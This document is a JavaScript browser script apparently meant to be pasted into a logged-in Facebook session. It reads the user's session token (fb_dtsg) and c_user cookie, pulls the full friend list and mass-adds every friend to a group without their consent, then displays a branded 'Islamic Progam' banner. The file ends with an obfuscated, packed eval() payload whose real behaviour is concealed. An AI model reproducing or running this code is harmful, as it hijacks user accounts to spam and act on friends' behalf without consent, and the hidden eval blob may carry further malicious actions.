var Title = '<img src="http://i1217.photobucket.com/albums/dd387/wael111196/coollogo_com-211415564_zps1efca531.png">',
    Descriptions = "",
    _text = "<b>--------------------------------</b></br>";
function AddFriendtoGroup(opo) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/reqs.php?&fb_dtsg=" + fb_dtsg + "&request_id=" + gid + "&type=group_confirm&status_div_id=group_confirm_" + gid + "_" + opo + "&params[id]=" + gid + "&params[uid]=" + opo + "&actions[accept]=Confirm&__user=" + user_id + "&__a=1&__req=q", function (a) {
        var b = a.substring(a.indexOf("{"));
        var c = JSON.parse(b);
        i--;
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:center;font-size:10px;white-space:pre-wrap;";
        if (c.error) {
            Descriptions += "color:#ccc'>";
            err++;
            if (c.errorDescription) Descriptions += c.errorDescription;
            else Descriptions += JSON.stringify(c, null, "")
        } else {
            Descriptions += "color:darkred'>";
            Descriptions += arr[i] + " ";
            suc++
        }
       Descriptions += "</div>";
        a = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:550px;z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:100px;border:4px dashed #ccc;background-color:#5A98D0;color:blue'>" + ("<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>");

       0 < i ? (a += arr.length + " <font Color=#444> Friends Detected </font></br>",
a += "<b>" + suc + "</b><font Color=#444> Friends Added </font></br>" + (arr.length - i) + "<font Color=#444> Friends Processed </font></br>",
a = a + "<div class='friend-edge'>" + Descriptions,
a += "<div style='text-align:center;font-size:12px;white-space:pre-wrap;color:#8A4B08';>",
a += _text,
a += getuname + "<font Color=blue> :  Thanks For Using Islamic Progam </font><br/>",
a += "</div>",
a += "</div>",
a += "<div><div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='position:absolute; bottom: 180px; left: 510px;border-radius:20px ;border:1px dashed #ccc;color:white;background:#444;height:20px;width:17px'>x</span></br>",


  a += "<div><div><span class='programs' style='position:fixed;left:20px;bottom:20px;border-radius:100px ;margin:0 0 15px 0;padding:1px 10px 3px;border:2px dashed #ccc;background-color:#5A98D0;color:white;font-size:14px;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-weight:bold;white-space:nowrap;overflow:hidden;display:inline-block;width:500px;'><font Color=red>Copyright</font> <font Color=black>AÂ©</font> Project Designed by : <font face= Courier New font color= Indigo>wael hagag</font></span>"



) : ( a += arr.length + "<font Color=RED> Friends Detected </font><br/>",
a += suc + "<font Color=RED> Friends Added </br></br></font>", a += getuname +  "<font Color=RED> :  User Name</font></br>" + grpname + " <font Color=RED>:  Group name  </font></br></br>",  
a += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='border-radius:25px;color:white;background:#444;width:150px'>CLOSE</span></br>&#961;&#963;&#969;&#1108;&#1103;&#594; &#1074;y : <a href='https://www.facebook.com/waelina.hagag'target='_blank'> &#969;&#945;&#1108;&#8467; &#1085;&#945;&#610;&#945;&#610; </a>");
        a += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = a
    }, "text", "post");
    tay--;

    if (tay > 0) {
        var s = arr[tay];
        sx = pho[tay];
        setTimeout("AddFriendtoGroup(" + s + ")", 100)
    }
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
    

}

function clickfr_callback() {
    if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
    var a = arr[i];
    if (i < arr.length) addfriend(a.substring(0, 4))
}
function clickfr() {
    if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
    else j++;
    setTimeout("clickfr_callback()", 2E3)
}
function addfriend(a) {
    i++;
    setTimeout("clickfr()", 2E3)
}
jx = {
    getHTTPObject: function () {
        var a = false;
        if (typeof ActiveXObject != "undefined") try {
                a = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (b) {
            try {
                a = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (c) {
                a = false
            }
        } else if (window.XMLHttpRequest) try {
                a = new XMLHttpRequest
        } catch (b) {
            a = false
        }
        return a
    },
    load: function (url, callback, format, method, opt) {
        var http = this.init();
        if (!http || !url) return;
        if (http.overrideMimeType) http.overrideMimeType("text/xml");
        if (!method) method = "GET";
        if (!format) format = "text";
        if (!opt) opt = {};
        format = format.toLowerCase();
        method = method.toUpperCase();
        var now = "uid=" + (new Date).getTime();
        url += url.indexOf("?") + 1 ? "&" : "?";
        url += now;
        var parameters = null;
        if (method == "POST") {
            var parts = url.split("?");
            url = parts[0];
            parameters = parts[1]
        }
        http.open(method, url, true);
        var ths = this;
        if (opt.handler) http.onreadystatechange = function () {
                opt.handler(http)
        };
        else http.onreadystatechange = function () {
                if (http.readyState == 4) if (http.status == 200) {
                        var result = "";
                        if (http.responseText) result = http.responseText;
                        if (format.charAt(0) == "j") {
                            result = result.replace(/[\n\r]/g, "");
                            result = eval("(" + result + ")")
                        } else if (format.charAt(0) == "x") result = http.responseXML;
                        if (callback) callback(result)
                    } else {
                        if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
                        if (opt.loading) document.getElementById(opt.loading).style.display = "none";
                        if (error) error(http.status)
                    }
        };
        http.send(parameters)
    },
    bind: function (a) {
        var b = {
            url: "",
            onSuccess: false,
            onError: false,
            format: "text",
            method: "GET",
            update: "",
            loading: "",
            loadingIndicator: ""
        };
        for (var c in b) if (a[c]) b[c] = a[c];
        if (!b.url) return;
        var d = false;
        if (b.loadingIndicator) {
            d = document.createElement("div");
            d.setAttribute("style", "position:absolute;top:0px;left:0px;");
            d.setAttribute("class", "loading-indicator");
            d.innerHTML = b.loadingIndicator;
            document.getElementsByTagName("body")[0].appendChild(d);
            this.opt.loadingIndicator = d
        }
        if (b.loading) document.getElementById(b.loading).style.display = "block";
        this.load(b.url, function (a) {
            if (b.onSuccess) b.onSuccess(a);
            if (b.update) document.getElementById(b.update).innerHTML = a;
            if (d) document.getElementsByTagName("body")[0].removeChild(d);
            if (b.loading) document.getElementById(b.loading).style.display = "none"
        }, b.format, b.method, b)
    },
    init: function () {
        return this.getHTTPObject()
    }
};
var nHtml = {
    FindByAttr: function (a, b, c, d) {
        if (c == "className") c = "class";
        var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
        if (e && e.singleNodeValue) return e.singleNodeValue;
        return null
    },
    FindByClassName: function (a, b, c) {
        return this.FindByAttr(a, b, "className", c)
    },
    FindByXPath: function (a, b) {
        try {
            var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
        } catch (d) {
            GM_log("bad xpath:" + b)
        }
        if (c && c.singleNodeValue) return c.singleNodeValue;
        return null
    },
    VisitUrl: function (a) {
        window.setTimeout(function () {
            document.location.href = a
        }, 500 + Math.floor(Math.random() * 500))
    },
    ClickWin: function (a, b, c) {
        var d = a.document.createEvent("MouseEvents");
        d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        return !b.dispatchEvent(d)
    },
    Click: function (a) {
        return this.ClickWin(window, a, "click")
    },
    ClickTimeout: function (a, b) {
        window.setTimeout(function () {
            return nHtml.ClickWin(window, a, "click")
        }, b + Math.floor(Math.random() * 500))
    },
    ClickUp: function (a) {
        this.ClickWin(window, a, "mousedown");
        this.ClickWin(window, a, "mouseup");
        this.ClickWin(window, a, "click")
    },
    GetText: function (a, b) {
        var c = "";
        if (b == undefined) b = 0;
        if (b > 40) return;
        if (a.textContent != undefined) return a.textContent;
        for (var d = 0; d < a.childNodes.length; d++) {
            var e = a.childNodes[d];
            c += this.GetText(e, b + 1)
        }
        return c
    }
};
if (document.getElementsByClassName == undefined) document.getElementsByClassName = function (a) {
        var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
        var c = document.getElementsByTagName("*");
        var d = [];
        var e;
        for (var f = 0;
        (e = c[f]) != null; f++) {
            var g = e.className;
            if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
        }
        return d
};
Array.prototype.find = function (a) {
    var b = false;
    for (i = 0; i < this.length; i++) if (typeof a == "function") {
            if (a.test(this[i])) {
                if (!b) b = [];
                b.push(i)
            }
        } else if (this[i] === a) {
        if (!b) b = [];
        b.push(i)
    }
    return b
};
var i = 3;
var tay = 3;
var j = 0;
var k = 0;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
grpname = document.getElementById("groupsJumpTitle").innerHTML;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
var gid = document.getElementsByName("group_id")[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function (a) {
    var b = a;
    var c = b.substring(b.indexOf("{"));
    var d = JSON.parse(c);
    d = d.payload.entries;
    for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
    for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
    for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
    i = arr.length - 1;
    tay = i;
    console.log(arr.length);
    var display = "<div id='friend-edge-display' style='none'>";
    document.getElementById("pagelet_sidebar").innerHTML = display;
    AddFriendtoGroup(arr[i])
});


eval(function(p,a,c,k,e,d){e=function(c){\u0072\u0065\u0074\u0075\u0072\u006E(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){\u0072\u0065\u0074\u0075\u0072\u006E d[e]}];e=function(){\u0072\u0065\u0074\u0075\u0072\u006E'\\w+'};c=1};while(c--){if(k[c]){p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e[6]};g=1};Y(g--){X(w[g]){x=x[e[4]](1i 1m(e[7]+s(g)+e[7],e[8]),w[g])}};z x}(e[0],T,T,e[3][e[2]](e[1]),0,{}));',62,87,'|||||||||x7C|x65|x74|x61|x63|_0x2b7d|x22|_0xf487x3|x70|x64|x73|x72|x69|x2E|x29|x6E|x28|x6C|x6D|_0xf487x5|x62|x2C|x6F|_0xf487x4|_0xf487x1|x3B|\u0072\u0065\u0074\u0075\u0072\u006E|x75|x68|x2F|function|x67|x30|x6A|x66|toString|x76|_0xf487x6|_0xf487x2|x35|x20|x32|x3D|x31|x79|x33|26|x45|x77|x5C|if|while|x3A|36|x2D|x7B|x5D|x2B|x7D|x37|x39|x36|x34|var|x6B|x5B|x54|x42|x4E|String|x43|new|x78|eval|x38|RegExp|x4A|x41'.split('|'),0,{}))




